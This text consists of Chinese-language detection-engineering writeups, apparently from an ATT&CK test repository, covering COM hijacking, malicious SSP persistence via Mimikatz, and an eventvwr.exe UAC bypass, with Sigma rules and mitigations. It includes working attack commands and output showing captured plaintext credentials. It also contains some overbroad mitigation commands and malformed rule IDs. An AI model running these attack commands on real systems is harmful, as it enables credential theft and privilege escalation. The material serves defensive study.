通过监控COM注册表修改、`dllhost.exe`的异常行为及网络活动,检测COM劫持攻击。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKLM\SOFTWARE\Classes\CLSID`或`HKCU\SOFTWARE\Classes\CLSID`的修改,尤其是`InProcServer32`或`LocalServer32`键。 - 监控Sysmon事件ID 1,检测`dllhost.exe`执行,检查命令行是否包含`/Processid:{CLSID}`。 - 监控Sysmon事件ID 7,检测`dllhost.exe`加载的非系统DLL。 - 监控Sysmon事件ID 3,检测`dllhost.exe`的异常公网连接(排除私有IP)。 - 监控Windows安全日志事件ID 4688,检测`dllhost.exe`或`reg.exe`的异常进程创建。 2. **Sigma规则(Dllhost异常网络连接)**: ```yaml title: Dllhost异常网络连接检测 id: cfed2f44-16df-4bf3-833a-79405198b277 status: stable description: 检测dllhost.exe与公网IP的通信,可能与COM劫持相关 author: bartblaze date: 2020/07/13 references: - https://attack.mitre.org/techniques/T1546/015/ - https://lolbas-project.github.io/lolbas/Binaries/Dllhost/ tags: - attack.persistence - attack.t1546.015 - attack.execution logsource: category: network_connection product: windows detection: selection: Image|endswith: '\dllhost.exe' Initiated: 'true' filter: DestinationIp|startswith: - '10.' - '192.168.' - '172.16.' - '172.17.' - '172.18.' - '172.19.' - '172.20.' - '172.21.' - '172.22.' - '172.23.' - '172.24.' - '172.25.' - '172.26.' - '172.27.' - '172.28.' - '172.29.' - '172.30.' - '172.31.' - '127.' condition: selection and not filter fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 合法应用程序通过dllhost.exe的公网通信(如云服务) level: medium ``` 3. **Sigma规则(COM注册表修改)**: ```yaml title: COM对象注册表修改检测 id: g78901234-abcd-5678-9012-34567890abcd status: experimental description: 检测COM对象注册表键的修改,可能与COM劫持相关 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: - '\SOFTWARE\Classes\CLSID' - '\InProcServer32' - '\LocalServer32' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法软件安装或更新 level: high ``` 4. **Sigma规则(Dllhost异常DLL加载)**: ```yaml title: Dllhost异常DLL加载检测 id: h89012345-abcd-6789-0123-45678901bcde status: experimental description: 检测dllhost.exe加载非系统DLL,可能与COM劫持相关å logsource: product: windows service: sysmon detection: selection: EventID: 7 Image|endswith: '\dllhost.exe' ImageLoaded|contains: '.dll' filter: ImageLoaded|startswith: - 'C:\Windows\System32\' - 'C:\Windows\SysWOW64\' condition: selection and not filter fields: - Image - ImageLoaded - User falsepositives: - 第三方合法COM服务器 level: high ``` 5. **SIEM规则**: - 检测COM劫持及`dllhost.exe`异常行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject IN ("*CLSID*InProcServer32*","*CLSID*LocalServer32*")) OR (EventID=1 Image="*dllhost.exe" CommandLine="*/Processid:*") OR (EventID=7 Image="*dllhost.exe" ImageLoaded="*.dll" NOT ImageLoaded IN ("C:\Windows\System32\*","C:\Windows\SysWOW64\*")) OR (EventID=3 Image="*dllhost.exe" NOT DestinationIp IN ("10.*","192.168.*","172.16.*","172.31.*","127.*"))) | stats count by Image, CommandLine, TargetObject, ImageLoaded, DestinationIp, User, ComputerName ``` 6. **注册表监控**: - 检查COM对象配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*\InProcServer32" -ErrorAction SilentlyContinue | Where-Object { $_.'(Default)' -notmatch 'C:\\Windows\\System32|C:\\Windows\\SysWOW64' } ``` 7. **工具支持**: - 使用Sysinternals Autoruns检查COM对象: ```cmd autoruns -c | findstr "CLSID" ``` - 使用Process Monitor捕获实时注册表和DLL加载活动。 8. **威胁情报整合**: - 检查DLL文件哈希或CLSID是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御COM劫持攻击需从注册表保护、DLL监控和权限管理入手: 1. **锁定注册表键** - 限制`HKLM\SOFTWARE\Classes\CLSID`的写权限: ```powershell $acl = Get-Acl "HKLM:\SOFTWARE\Classes\CLSID" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SOFTWARE\Classes\CLSID" -AclObject $acl ``` 2. **限制dllhost.exe行为** - 使用AppLocker限制`dllhost.exe`加载非系统DLL: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\*.dll" -Action Allow -User "Everyone" ``` 3. **白名单COM对象** - 定期审计COM对象,移除非必要CLSID: ```powershell Get-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Where-Object { $_.GetSubKeyNames() -contains "InProcServer32" } | Select-Object PSChildName ``` 4. **加强权限管理** - 限制非管理员用户修改注册表: ```powershell icacls "C:\Windows\System32\reg.exe" /deny "Users:(X)" ``` 5. **日志和监控** - 启用Sysmon事件ID 1、3、7、13,检测COM注册表修改和`dllhost.exe`异常行为。 - 配置SIEM监控COM相关事件。 - 使用EDR工具检测异常DLL加载和网络活动。 6. **定期审计** - 检查COM对象配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*\InProcServer32" -ErrorAction SilentlyContinue ``` - 审计`dllhost.exe`加载的DLL: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 7 -and $_.Message -match "dllhost.exe" } ``` ## 参考推荐 - MITRE ATT&CK: T1546.015 - Dllhost.exe LOLBAS - Sigma规则:Dllhost网络连接 ================================================ FILE: Windows/05持久化/T1547.005-Win-SSP权限维持.md ================================================ # T1547-005-Win-SSP权限维持 ## 描述 攻击者通过注册恶意的Windows安全支持提供程序(Security Support Provider, SSP)动态链接库(DLL)实现持久化(T1547.005)。SSP是Windows身份验证机制的核心组件(如Kerberos、NTLM),以DLL形式在系统启动时加载到本地安全机构(Local Security Authority, LSA)进程(`lsass.exe`)中,可访问加密和明文凭据(如域密码、PIN码)。SSP配置存储在注册表`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`和`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`中。 攻击者可通过添加恶意SSP DLL到这些注册表键,在系统重启或调用`AddSecurityPackage` API时加载,窃取凭据(如明文密码)或执行任意代码。由于`lsass.exe`是高权限系统进程,恶意SSP以SYSTEM权限运行,隐蔽性强且难以检测。攻击者常使用工具如Mimikatz实现内存注入或持久化DLL注册。检测重点在于监控SSP注册表修改、异常DLL加载及`lsass.exe`行为。 ## 测试案例 1. **内存注入SSP(非持久化)** 使用Mimikatz将伪造SSP注入`lsass.exe`内存,捕获登录凭据,无需磁盘文件,但重启后失效。 2. **注册持久化SSP DLL** 将恶意DLL(如Mimikatz的`mimilib.dll`)部署到`System32`并添加到SSP注册表,系统重启后持续捕获凭据。 3. **触发AddSecurityPackage API** 动态调用API加载恶意SSP,绕过重启需求。 ### 示例命令 #### 方法一:内存注入SSP - **攻击命令**(需SYSTEM权限): ```cmd mimikatz.exe "privilege::debug" "misc::memssp" exit ``` - 注入伪造SSP,凭据记录在`C:\Windows\System32\mimilsa.log`。 - **验证凭据**: ```cmd type C:\Windows\System32\mimilsa.log ``` #### 方法二:注册持久化SSP DLL - **攻击命令**(需SYSTEM权限): ```cmd copy mimilib.dll %SystemRoot%\System32 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f ``` - 部署`mimilib.dll`并更新SSP注册表,凭据记录在`C:\Windows\System32\kiwissp.log`。 - **验证注册表**: ```cmd reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" ``` - **验证凭据**(重启后): ```cmd type C:\Windows\System32\kiwissp.log ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`mimikatz.exe`、`reg.exe`或`lsass.exe`的进程创建。 - **事件ID 4656**:记录注册表键(如`Security Packages`)的访问。 - **事件ID 4658**:记录注册表句柄关闭。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`mimikatz.exe`或`reg.exe`的命令行参数。 - **事件ID 7**:记录`lsass.exe`加载的DLL,检测非系统SSP DLL。 - **事件ID 13**:记录注册表修改,如`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`。 - **事件ID 11**:记录DLL文件(如`mimilib.dll`)的创建或写入。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用模块加载日志:`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe`设置`AuditLevel=8`(Windows 8.1+)。 - 部署Sysmon以增强注册表、进程和模块监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+(建议Windows Server 2008+以启用Sysmon)。 - **权限**:SYSTEM权限(注入或注册SSP)。 - **工具**:Mimikatz(含`mimilib.dll`)、Sysmon、注册表编辑器。 - **测试DLL**:使用Mimikatz提供的`mimilib.dll`(确保与系统架构匹配)。 - **日志**:启用Windows安全日志、Sysmon和注册表审核。 ### 攻击步骤 #### 方法一 使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。 ```dos mimikatz.exe "privilege::debug" "misc::memssp" exit ``` ```test C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug " "misc::memssp" exit .#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 21 modules * * */ mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # misc::memssp Injected =) mimikatz(commandline) # exit Bye! ``` 注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。 ```dos type C:\Windows\system32\mimilsa.log ``` ```test C:\Users\Administrator>type C:\Windows\system32\mimilsa.log [00000000:00063a51] DC\Administrator admin.098 ``` #### 方法二 将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。 ```dos copy mimilib.dll %systemroot%\system32 reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ ``` ```test-dos C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\ system32 已复制 1 个文件。 C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc ontrolset\control\lsa\ /v "Security Packages" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts pkg\0pku2u ``` 注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。 ```dos PS C:\Users\Administrator> reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ 值 Security Packages 已存在,要覆盖吗(Yes/No)? y 操作成功完成。 ``` 查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。 ```dos C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc ontrolset\control\lsa\ /v "Security Packages" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts pkg\0pku2u\0mimilib ``` 系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。 ```dos type C:\Windows\system32\kiwissp.log ``` ```test C:\Users\Administrator>type C:\Windows\system32\kiwissp.log [00000000:000003e7] [00000002] WORKGROUP\DC$ (DC$) [00000000:00049cd0] [00000002] DC\Administrator (Administrator) admin.098 [00000000:000003e5] [00000005] \ (LOCAL SERVICE) ``` ## 测试留痕 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 New Process ID: 0x5c8 New Process Name: C:\Windows\System32\reg.exe CommandLine: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" Creator Process ID: 0x748 Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Token Elevation Type: TokenElevationTypeDefault (1) ``` - **Windows安全日志(事件ID 4656,注册表访问)**: ```plaintext EventID: 4656 Object Server: Security Object Type: Key Object Name: \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\Lsa Handle ID: 0x508 Process ID: 0x748 Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Accesses: READ_CONTROL, Query key value, Enumerate subkeys, Notify ``` - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages Details: kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 7,DLL加载)**: ```plaintext EventID: 7 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} Image: C:\Windows\System32\lsass.exe ImageLoaded: C:\Windows\System32\mimilib.dll Hashes: SHA256=ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890 User: NT AUTHORITY\SYSTEM ``` - **Sysmon日志(事件ID 11,文件创建)**: ```plaintext EventID: 11 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\cmd.exe TargetFilename: C:\Windows\System32\mimilib.dll User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改、DLL加载和`lsass.exe`行为,检测恶意SSP的注册和执行。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`或`OSConfig\Security Packages`的修改。 - 监控Sysmon事件ID 7,检测`lsass.exe`加载的非系统DLL。 - 监控Sysmon事件ID 1,检测`mimikatz.exe`、`reg.exe`或异常进程调用`AddSecurityPackage`。 - 监控Sysmon事件ID 11,检测`System32`目录中新增DLL文件。 - 监控Windows安全日志事件ID 4656/4688,检测SSP注册表访问和异常进程创建。 2. **Sigma规则(SSP注册表修改)**: ```yaml title: 添加到LSA配置的安全支持提供程序(SSP) id: f45678901-abcd-2345-6789-abcdef123456 status: stable description: 检测向注册表添加SSP,可能加载恶意DLL以捕获凭据 references: - https://attack.mitre.org/techniques/T1547/005/ - https://xz.aliyun.com/t/7432 tags: - attack.persistence - attack.t1547.005 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: - '\Control\Lsa\Security Packages' - '\Control\Lsa\OSConfig\Security Packages' exclusion: Image|endswith: - '\msiexec.exe' condition: selection and not exclusion fields: - TargetObject - Details - Image - User falsepositives: - 合法系统更新或第三方安全软件 level: critical ``` 3. **Sigma规则(Lsass异常DLL加载)**: ```yaml title: Lsass异常DLL加载检测 id: g56789012-abcd-3456-7890-abcdef234567 status: experimental description: 检测lsass.exe加载非系统DLL,可能与恶意SSP相关 logsource: product: windows service: sysmon detection: selection: EventID: 7 Image|endswith: '\lsass.exe' ImageLoaded|endswith: '.dll' filter: ImageLoaded|startswith: - 'C:\Windows\System32\' - 'C:\Windows\SysWOW64\' condition: selection and not filter fields: - Image - ImageLoaded - User falsepositives: - 合法第三方安全软件 level: critical ``` 4. **SIEM规则**: - 检测SSP注册和异常DLL加载。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject IN ("*Control\Lsa\Security Packages*","*Control\Lsa\OSConfig\Security Packages*")) OR (EventID=7 Image="*lsass.exe" ImageLoaded="*.dll" NOT ImageLoaded IN ("C:\Windows\System32\*","C:\Windows\SysWOW64\*")) OR (EventID=1 Image IN ("*mimikatz.exe","*reg.exe") CommandLine="*Security Packages*")) | stats count by Image, CommandLine, TargetObject, ImageLoaded, User, ComputerName ``` 5. **注册表监控**: - 检查SSP配置: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" ``` 6. **工具支持**: - 使用Sysinternals Autoruns检查LSA SSP: ```cmd autoruns -a | findstr "Security Packages" ``` - 使用Process Monitor捕获`lsass.exe`的DLL加载和注册表活动。 7. **威胁情报整合**: - 检查DLL文件哈希(如`mimilib.dll`)是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御SSP攻击需从注册表保护、DLL监控和权限管理入手: 1. **锁定注册表键** - 限制`HKLM\SYSTEM\CurrentControlSet\Control\Lsa`的写权限: ```powershell $acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -AclObject $acl ``` 2. **启用未签名DLL审计** - 在Windows 8.1+中启用`lsass.exe`未签名DLL加载审计: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" -Name AuditLevel -Value 8 ``` 3. **限制reg命令使用** - 使用AppLocker限制非管理员执行`reg.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\reg.exe" -Action Deny -User "Everyone" ``` 4. **白名单SSP** - 定期审计SSP配置,确保仅包含系统默认包(`kerberos`、`msv1_0`、`schannel`、`wdigest`、`tspkg`、`pku2u`): ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" | Where-Object { $_.'Security Packages' -match "mimilib|unknown" } ``` 5. **加强权限管理** - 限制非管理员用户修改`System32`目录: ```powershell icacls "C:\Windows\System32" /deny "Users:(W)" ``` 6. **日志和监控** - 启用Sysmon事件ID 1、7、11、13,检测SSP注册表修改和`lsass.exe`异常DLL加载。 - 配置SIEM监控SSP相关事件。 - 使用EDR工具检测`lsass.exe`异常行为(如凭据转储)。 7. **定期审计** - 检查SSP注册表: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" ``` - 检查`System32`目录中的DLL: ```powershell Get-ChildItem -Path "C:\Windows\System32" -Filter "*.dll" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } ``` - 检查日志文件: ```powershell Get-ChildItem -Path "C:\Windows\System32" -Filter "*.log" | Where-Object { $_.Name -match "mimilsa|kiwissp" } ``` 8. **使用Autoruns检测** - 下载Autoruns: - 检查LSA扩展: ```cmd autoruns -a | findstr "Lsa" ``` ## 参考推荐 - MITRE ATT&CK: T1547.005 - AD域SSP权限维持与安全防护 - PowerSploit: Install-SSP ================================================ FILE: Windows/05持久化/T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md ================================================ # T1548-002-Win-绕过用户账户控制-Eventvwr.exe ## 描述 攻击者可通过利用`eventvwr.exe`的自动提升特性绕过Windows用户账户控制(UAC),在无需用户确认的情况下以高完整性级别执行恶意代码(T1548.002)。UAC是Windows的安全机制,限制进程权限提升(如从中等完整性到高完整性),通常通过提示用户确认管理员权限。`eventvwr.exe`(事件查看器)是Windows系统自带的可信进程,位于`C:\Windows\System32\`或`C:\Windows\SysWOW64\`,用于显示事件日志。 `eventvwr.exe`在启动时会读取注册表键`HKCU\Software\Classes\mscfile\shell\open\command`,以定位`mmc.exe`执行`.msc`文件(如`eventvwr.msc`)。攻击者可修改此键,替换为恶意二进制文件或脚本路径,使其在`eventvwr.exe`启动时以高完整性级别自动执行,无需UAC提示。这种“无文件”技术隐蔽性强,常用于权限提升或持久化。检测重点在于监控相关注册表修改及`eventvwr.exe`的异常子进程。 ## 测试案例 1. **注册表劫持执行恶意二进制** 攻击者修改`HKCU\Software\Classes\mscfile\shell\open\command`,将`cmd.exe`设置为执行程序,启动`eventvwr.exe`时以高完整性运行命令提示符。 2. **执行脚本绕过UAC** 攻击者配置PowerShell脚本路径,触发`eventvwr.exe`执行恶意脚本。 3. **结合其他技术** 攻击者利用`eventvwr.exe`作为初始向量,结合横向移动或持久化技术(如计划任务)。 ### 示例命令 - **攻击命令**(用户权限): ```cmd reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\Windows\System32\cmd.exe" /f eventvwr.exe ``` - 修改注册表并触发`eventvwr.exe`,执行`cmd.exe`(高完整性)。 - **所需权限**:用户权限。 - **操作系统**:Windows Vista、7、8、8.1、10(部分版本可能已修补)。 - **清理命令**: ```cmd reg delete "HKCU\Software\Classes\mscfile\shell\open\command" /f ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`eventvwr.exe`、`reg.exe`或恶意子进程(如`cmd.exe`)的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`eventvwr.exe`及其子进程的命令行参数。 - **事件ID 13**:记录注册表修改,如`HKCU\Software\Classes\mscfile\shell\open\command`。 - **事件ID 7**:记录`eventvwr.exe`加载的异常模块(如恶意DLL)。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表和进程监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10(或Vista、7、8、8.1,建议测试前确认UAC设置)。 - **权限**:标准用户权限(无需管理员)。 - **工具**:`eventvwr.exe`(系统自带)、`reg.exe`、Sysmon。 - **UAC设置**:非最高级别(如“默认-仅通知应用程序更改”)。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **修改注册表** - 配置`cmd.exe`为`mscfile`默认命令: ```cmd reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\Windows\System32\cmd.exe" /f ``` 2. **触发UAC绕过** - 运行事件查看器: ```cmd eventvwr.exe ``` - 观察`cmd.exe`是否以高完整性级别启动: ```powershell whoami /groups | findstr "High" ``` 3. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "eventvwr.exe|cmd.exe" } ``` - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "mscfile\\shell\\open\\command" } ``` 4. **清理** - 删除注册表键: ```cmd reg delete "HKCU\Software\Classes\mscfile\shell\open\command" /f ``` ### 示例输出 ```cmd reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\Windows\System32\cmd.exe" /f The operation completed successfully. eventvwr.exe reg delete "HKCU\Software\Classes\mscfile\shell\open\command" /f The operation completed successfully. ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\reg.exe TargetObject: HKCU\Software\Classes\mscfile\shell\open\command Details: C:\Windows\System32\cmd.exe User: CONTOSO\User ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} ProcessId: 1234 Image: C:\Windows\System32\eventvwr.exe CommandLine: C:\Windows\System32\eventvwr.exe ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 1,恶意子进程)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad} ProcessId: 1235 Image: C:\Windows\System32\cmd.exe CommandLine: C:\Windows\System32\cmd.exe ParentImage: C:\Windows\System32\eventvwr.exe User: CONTOSO\User IntegrityLevel: High ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改及`eventvwr.exe`的异常子进程,检测UAC绕过行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKCU\Software\Classes\mscfile\shell\open\command`的修改。 - 监控Sysmon事件ID 1,检测`eventvwr.exe`及其子进程(如`cmd.exe`、`powershell.exe`),检查完整性级别提升。 - 监控Windows安全日志事件ID 4688,检测`eventvwr.exe`或`reg.exe`的异常进程创建。 - 检查进程调用树,识别`eventvwr.exe`启动非预期子进程(如`cmd.exe`)。 2. **Sigma规则(UAC绕过注册表修改)**: ```yaml title: UAC绕过通过Event Viewer注册表劫持 id: 7c81fec3-1c1d-43b0-996a-46753041b1b6 status: stable description: 检测使用eventvwr.exe的UAC绕过,通过修改mscfile注册表键 author: Florian Roth date: 2017/03/19 references: - https://attack.mitre.org/techniques/T1548/002/ - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ tags: - attack.privilege_escalation - attack.t1548.002 - attack.defense_evasion logsource: product: windows category: registry_event detection: selection: EventID: 13 TargetObject|startswith: 'HKCU\' TargetObject|endswith: '\mscfile\shell\open\command' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 第三方软件修改mscfile注册表 level: critical ``` 3. **Sigma规则(Eventvwr异常子进程)**: ```yaml title: Eventvwr异常子进程执行 id: h89012345-abcd-6789-0123-45678901bcde status: experimental description: 检测eventvwr.exe启动非预期子进程,可能与UAC绕过相关 logsource: product: windows service: sysmon detection: selection: EventID: 1 ParentImage|endswith: '\eventvwr.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\wscript.exe' - '\cscript.exe' condition: selection fields: - Image - ParentImage - CommandLine - User falsepositives: - 管理员手动调试操作 level: high ``` 4. **SIEM规则**: - 检测UAC绕过相关行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject="*mscfile\shell\open\command*") OR (EventID=1 ParentImage="*eventvwr.exe" Image IN ("*cmd.exe","*powershell.exe","*wscript.exe","*cscript.exe"))) | stats count by Image, CommandLine, TargetObject, ParentImage, User, ComputerName ``` 5. **注册表监控**: - 检查mscfile注册表键: ```powershell Get-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -ErrorAction SilentlyContinue ``` 6. **工具支持**: - 使用Sysinternals Autoruns检查注册表键: ```cmd autoruns -a | findstr "mscfile" ``` - 使用Process Monitor捕获实时注册表和进程活动。 7. **威胁情报整合**: - 检查子进程的哈希或命令行参数是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`eventvwr.exe`UAC绕过攻击需从注册表保护、UAC配置和进程监控入手: 1. **设置最高UAC级别** - 配置UAC为“始终通知”: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name ConsentPromptBehaviorAdmin -Value 2 ``` 2. **锁定注册表键** - 限制`HKCU\Software\Classes\mscfile`的写权限: ```powershell $acl = Get-Acl "HKCU:\Software\Classes\mscfile" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKCU:\Software\Classes\mscfile" -AclObject $acl ``` 3. **限制reg命令使用** - 使用AppLocker限制非管理员执行`reg.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\reg.exe" -Action Deny -User "Everyone" ``` 4. **监控eventvwr.exe行为** - 使用EDR工具检测`eventvwr.exe`的异常子进程。 - 配置Sysmon监控`eventvwr.exe`相关事件。 5. **定期审计** - 检查mscfile注册表: ```powershell Get-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -ErrorAction SilentlyContinue ``` - 检查`eventvwr.exe`子进程: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "eventvwr.exe" } ``` 6. **补丁管理** - 确保系统安装最新补丁,部分Windows版本已修复此漏洞(如Windows 10 1803+)。 ## 参考推荐 - MITRE ATT&CK: T1548.002 - 无文件UAC绕过(Eventvwr.exe注册表劫持) - UACME GitHub(UAC绕过方法集合) ================================================ FILE: Windows/06权限提升/T1037.001-Win-Boot或logon初始化脚本-登录脚本.md ================================================ # T1037.001-Win-Boot或Logon初始化脚本-登录脚本 ## 描述 